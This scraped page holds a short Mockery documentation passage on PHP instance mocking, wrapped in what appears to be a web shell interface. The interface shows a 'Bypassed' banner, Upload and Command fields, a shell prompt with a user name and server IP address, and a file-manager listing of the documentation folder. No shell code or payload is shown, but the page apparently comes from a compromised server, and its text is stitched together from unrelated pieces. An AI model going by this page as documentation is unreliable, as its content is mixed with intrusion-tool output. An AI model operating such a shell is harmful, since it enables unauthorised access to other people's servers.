404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.191.181.251: ~ $
.. index::
    single: Mocking; Instance

Instance Mocking
================

Instance mocking means that a statement like:

.. code-block:: php

    $obj = new \MyNamespace\Foo;

...will actually generate a mock object. This is done by replacing the real
class with an instance mock (similar to an alias mock), as with mocking public
methods. The alias will import its expectations from the original mock of
that type (note that the original is never verified and should be ignored
after its expectations are setup). This lets you intercept instantiation where
you can't simply inject a replacement object.

As before, this does not prevent a require statement from including the real
class and triggering a fatal PHP error. It's intended for use where
autoloading is the primary class loading mechanism.

Filemanager

Name Type Size Permission Actions
alternative_should_receive_syntax.rst File 2.33 KB 0644
argument_validation.rst File 10.49 KB 0644
creating_test_doubles.rst File 14.12 KB 0644
demeter_chains.rst File 1.6 KB 0644
expectations.rst File 15.57 KB 0644
final_methods_classes.rst File 1.32 KB 0644
index.rst File 400 B 0644
instance_mocking.rst File 805 B 0644
magic_methods.rst File 687 B 0644
map.rst.inc File 550 B 0644
partial_mocks.rst File 4.19 KB 0644
pass_by_reference_behaviours.rst File 4.22 KB 0644
phpunit_integration.rst File 4.74 KB 0644
protected_methods.rst File 668 B 0644
public_properties.rst File 821 B 0644
public_static_properties.rst File 701 B 0644
spies.rst File 4.63 KB 0644